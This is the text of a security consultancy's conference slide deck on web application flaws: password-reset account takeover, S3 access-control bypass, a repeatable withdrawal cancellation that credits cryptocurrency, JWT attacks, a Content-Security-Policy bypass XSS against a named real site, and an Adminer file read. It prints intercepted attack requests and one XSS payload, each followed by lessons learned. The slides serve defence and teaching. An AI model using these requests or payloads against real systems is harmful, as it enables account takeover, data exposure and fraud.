mayaseven s
play

MAYASEVENs Hacking Diary Who are we? Nop Phoomthaisong MAYASEVEN - PowerPoint PPT Presentation

MAYASEVENs Hacking Diary Who are we? Nop Phoomthaisong MAYASEVEN Team Cybersecurity Consultants, The Cybersecurity Expert Guys Cybersecurity Researcher 2 Agenda 1. Account Takeover via Forgot Password Function 2. Amazon S3


  1. MAYASEVEN’s Hacking Diary

  2. Who are we? Nop Phoomthaisong MAYASEVEN Team Cybersecurity Consultants, The Cybersecurity Expert Guys Cybersecurity Researcher 2

  3. Agenda 1. Account Takeover via Forgot Password Function 2. Amazon S3 Misconfiguration 3. Arbitrarily Create Bitcoin on Web Cryptocurrency Exchange 4. Attacking JSON Web Token 5. XSS Triggered by CSP Bypass 6. Adminer Arbitrary File Read 7. Poor Cryptography Implementation 8. Code Obfuscation? 3

  4. MAYASEVEN Cryptocurrency Exchange 4

  5. Account Takeover via Forgot Password Function

  6. Typical Forgot Password Workflow To identify the account owner Confirm Click forgot Insert mobile Received password OTP OTP number Password Enter new changed password 6

  7. Typical Forgot Password Workflow To identify the account owner Confirm Click forgot Insert mobile Received password OTP OTP number Password Enter new changed password 7

  8. Account Takeover via Forgot Password Intercept a request with Burp Suite Web Enter new POST /forgot-password.php HTTP/1.1 Host: 192.168.1.44:8080 server password User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form- urlencoded Content-Length: 77 Connection: close Upgrade-Insecure-Requests: 1 refotp= b097d6 &username= mayaseven &password = mynewpass &confirmpassword= mynewpass 8

  9. Account Takeover via Forgot Password Change username Web Enter new POST /forgot-password.php HTTP/1.1 Host: 192.168.1.44:8080 server password User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form- urlencoded Content-Length: 77 Connection: close Upgrade-Insecure-Requests: 1 refotp= b097d6 &username= mark &password= mynewpass &confirmpassword= mynewpass 9

  10. Account Takeover via Forgot Password Demo ! 10

  11. Lesson Learned • Developers should take care for every stage in workflow 11

  12. Amazon S3 Misconfiguration

  13. Amazon S3 Misconfiguration The web server keeps all photos in Amazon S3 private cloud storage. Redirected to Webapp A photo View Amazon S3 generate photo was show private storage access token Access Token 13

  14. Amazon S3 Misconfiguration Without the Access Token, we cannot access to the photo even when we know the file name. 14

  15. Account takeover via forgot password Is it still vulnerable? 15

  16. Amazon S3 Misconfiguration The web server keeps all photos in Amazon S3 private cloud storage. Redirected to Webapp A photo View Amazon S3 generate photo was show private storage access token Access Token 16

  17. Amazon S3 Misconfiguration Intercept a request with Burp Suite Webapp Redirected to GET /api/s3.php?id_card= id_card_DANIEL.jpg generate Amazon S3 HTTP/1.1 access token private storage Host: 192.168.1.55:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cookie: id_card_DANIEL.jpg token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJk was show YXRhIjp7InVzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQi OjEsInRlc3QiOiJ0ZXN0In0sImV4cCI6MTU1ODEyM DUwNH0.9iPkFNFlwF4MK5jD39UqUhrQW4fGS2M r62l6j6528kI Upgrade-Insecure-Requests: 1 17

  18. Amazon S3 Misconfiguration Intercept a request with Burp Suite Webapp Redirected to GET /api/s3.php?id_card= id_card_mayaseven.jpg generate Amazon S3 HTTP/1.1 access token private storage Host: 192.168.1.55:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cookie: id_card_mayaseven.jpg token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJk was show YXRhIjp7InVzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQi OjEsInRlc3QiOiJ0ZXN0In0sImV4cCI6MTU1ODEyM DUwNH0.9iPkFNFlwF4MK5jD39UqUhrQW4fGS2M r62l6j6528kI Upgrade-Insecure-Requests: 1 18

  19. Lesson Learned • A bucket turn off permission to access for "Everyone" (Turn off Object list). • Web application must validate the authorization before generate token to access to the resources. 19

  20. Arbitrarily Create Bitcoin

  21. Arbitrarily Create Bitcoin Cancel a Cryptocurrency Withdraw Balance withdrawal transferred back to deducted cryptocurrency transaction the user’s balance 21

  22. Arbitrarily Create Bitcoin Cancel a Cryptocurrency Withdraw Balance withdrawal transferred back to deducted cryptocurrency transaction the user’s balance 22

  23. Arbitrarily Create Bitcoin Intercept a request with Burp Suite Cancel a GET /transaction.php?cancel_withdraw_transactionid= MjQ= withdrawal Webapp HTTP/1.1 transaction Host: 192.168.1.44:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cryptocurrency Cookie: transferred back token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7In to the user’s VzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQiOjEsInRlc3QiOiJ0ZXN0I balance n0sImV4cCI6MTU1ODEyMDM5OX0.E_VOI2BCXNFvmgNhWM QWREfXZc49LSWLW80DESzCPgU Upgrade-Insecure-Requests: 1 23

  24. MAYASEVEN 24

  25. Arbitrarily Create Bitcoin Demo ! 25

  26. Lesson Learned • Limit transaction to be canceled only one time. • Transaction ID should be unpredictable. • Check the authorization. 30

  27. Attacking JSON Web Token

  28. Attacking JSON Web Token JSON Web Token (JWT): A compact and self-contained way for securely transmitting information between parties as a JSON object • This information can be verified and trusted because it is digitally signed. • Consist of three parts separated by dots (.), which are Header.Payload.Signature, each part encoded with • base64. example: xxxxx.yyyyy.zzzzz 32

  29. Attacking JSON Web Token Header: The header typically consists of two parts which is JWT and the hashing algorithm. • Then this JSON is Base64 encoded to form the first part of the JWT • 33

  30. Attacking JSON Web Token Payload: Contains statements about an entity and additional metadata. • Then this JSON is Base64 encoded to form the first part of the JWT • 34

  31. Attacking JSON Web Token Signature: Sign the encoded header and payload by using a key and the algorithm specified in the header. • Using defined “ alg ” in the Header part for signing. 35

  32. Attacking JSON Web Token We cannot change any field in JWT because of signature verification, so how to attacks JWT ? 36

  33. Attacking JSON Web Token Three ways for attacking JWT: • Cracking HMAC by using wordlist or Brute Forcing • None Algorithm Attack • Modifying algorithm in the “ alg ” field 37

  34. Attacking JSON Web Token Demo ! 38

  35. Lesson Learned • For HMAC, use strong symmetric key. • Never accept the “none” algorithm. • Use reliable JWT library. 39

  36. XSS Triggered by CSP Bypass

  37. XSS Triggered by CSP Bypass • CSP (Content-Security-Policy) • Header to prevent cross-site scripting (XSS resulting from execution of malicious content in the trusted web page context). content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com; script-src ‘self’ https://*. twitter.com; 41

  38. Typical XSS Attacker inject Victim access Website a script to a the webpage webpage JavaScript executed 42

  39. Implement CSP to Protect XSS Attacker inject Website with Victim access a script to a CSP header the webpage webpage JavaScript not executed 43

  40. Implement CSP to Protect XSS So, how to bypass Content Security Policy? 44

  41. How to bypass CSP ? Find input Inject script Find XSS return in with external Script executed entry point response script file Input return in response • Reflection of input arises when data is copied from a request and echoed into • the application's immediate response. 45

  42. XSS Triggered by CSP Bypass Find XSS • XSS on website with CSP entry point https://careers.twitter.com/en/jobs-search.html?location=1 ”onmouseove=“alert(1)” Script could not execute because it was blocked by Content-Security-Policy. 46

  43. Find input XSS Triggered by CSP Bypass return in • Input return in response response Input being returned in the application responses is not a vulnerability in its own right. However, it is a prerequisite for XSS in this case. 47

  44. XSS Triggered by CSP Bypass Inject script with external • Final Payload and URL script file <script src =“ //analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>// ”></script> 48

  45. XSS Triggered by CSP Bypass Demo ! 49

  46. Lesson Learned • Input or output should be sanitized. • Cannot use only CSP to prevent XSS 50

  47. Adminer Arbitrary File Read

  48. Adminer Arbitrary File Read • Adminer • A database management in a single PHP file , which allows the user connecting to any database server. • How to find adminer path? • Dirsearch, wfuzz and etc . 52

  49. Adminer Arbitrary File Read • Create databases and tables. • MySQL command to read the local files on the server 53

  50. Adminer Arbitrary File Read • Create databases and tables. 54

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend